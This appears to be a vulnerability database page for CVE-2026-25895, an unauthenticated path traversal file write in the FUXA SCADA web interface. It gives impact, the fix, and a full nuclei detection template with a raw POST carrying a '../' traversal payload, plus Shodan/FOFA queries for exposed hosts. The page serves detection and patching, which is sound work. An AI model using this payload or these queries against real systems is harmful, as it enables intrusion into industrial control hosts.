Browse / CVEs / CVE-2026-25895
CVE-2026-25895· frangoteam / fuxa· CWE-22
FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write
FUXA, an open-source Node.js SCADA/HMI web interface, through version 1.2.9 exposes an unauthenticated POST /api/upload endpoint that resolves the attacker-controlled `destination` field from the JSON request body against the application directory with only a leading underscore prefix and no containment check. Because path.resolve() honours "../" segments, an unauthenticated attacker can escape the application directory and write arbitrary files anywhere on the filesystem reachable by the service account - for example into the public web root (a/../../client/dist), into cron directories, or over SSH authorized_keys - leading to remote code execution. Version 1.2.10 rejects any destination containing a traversal segment and additionally requires an authenticated administrator.
Impact
Unauthenticated attackers can write arbitrary files anywhere on the filesystem reachable by the service account, including the public web root, cron directories, and SSH authorized_keys, leading to full remote code execution on the host running FUXA.
Fix
Upgrade FUXA to version 1.2.10 or later, which validates and contains the `destination` parameter to the intended application directory and requires administrator authentication on /api/upload.
How to confirm it
Send: POST /api/upload
Positive when: status_code == 400 and contains(body, "ENOTDIR") and contains(body, concat("main.js", "/", "{{filename}}.txt")) AND not contains "invalid_destination"Run it with nuclei: nuclei -id CVE-2026-25895 -u <target>
The full check
id: CVE-2026-25895
info:
name: FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write
author: prithvee07
severity: critical
description: |
FUXA, an open-source Node.js SCADA/HMI web interface, through version 1.2.9 exposes an unauthenticated POST /api/upload endpoint that resolves the attacker-controlled `destination` field from the JSON request body against the application directory with only a leading underscore prefix and no containment check. Because path.resolve() honours "../" segments, an unauthenticated attacker can escape the application directory and write arbitrary files anywhere on the filesystem reachable by the service account - for example into the public web root (a/../../client/dist), into cron directories, or over SSH authorized_keys - leading to remote code execution. Version 1.2.10 rejects any destination containing a traversal segment and additionally requires an authenticated administrator.
impact: |
Unauthenticated attackers can write arbitrary files anywhere on the filesystem reachable by the service account, including the public web root, cron directories, and SSH authorized_keys, leading to full remote code execution on the host running FUXA.
remediation: |
Upgrade FUXA to version 1.2.10 or later, which validates and contains the `destination` parameter to the intended application directory and requires administrator authentication on /api/upload.
reference:
- https://github.com/frangoteam/FUXA/security/advisories/GHSA-88qh-cphv-996c
- https://github.com/frangoteam/FUXA/commit/22c2192f5d9beef8a787c45eff3a14c24dbb5f96
- https://github.com/frangoteam/FUXA/releases/tag/v1.2.10
- https://github.com/Hann1bl3L3ct3r/FUXAPWN
- https://nvd.nist.gov/vuln/detail/CVE-2026-25895
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-25895
epss-score: 0.1285
epss-percentile: 0.96329
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: frangoteam
product: fuxa
shodan-query: http.title:"FUXA"
fofa-query: title="FUXA"
tags: cve,cve2026,fuxa,scada,path-traversal,file-upload,rce,unauth,vkev
variables:
filename: "{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}"
http:
- raw:
- |
POST /api/upload HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"resource":{"name":"{{filename}}.txt","fullPath":"{{filename}}.txt","type":"bin","data":"{{base64(filename)}}"},"destination":"a/../../server/main.js"}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'contains(body, "ENOTDIR")'
- 'contains(body, concat("main.js", "/", "{{filename}}.txt"))'
condition: and
- type: word
part: body
words:
- "invalid_destination"
negative: true
extractors:
- type: regex
part: body
group: 1
regex:
- "open '(.*?)'"References
- https://github.com/frangoteam/FUXA/security/advisories/GHSA-88qh-cphv-996c
- https://github.com/frangoteam/FUXA/commit/22c2192f5d9beef8a787c45eff3a14c24dbb5f96
- https://github.com/frangoteam/FUXA/releases/tag/v1.2.10
- https://github.com/Hann1bl3L3ct3r/FUXAPWN
- https://nvd.nist.gov/vuln/detail/CVE-2026-25895
Use this check only on systems you are authorised to test. Where the data comes from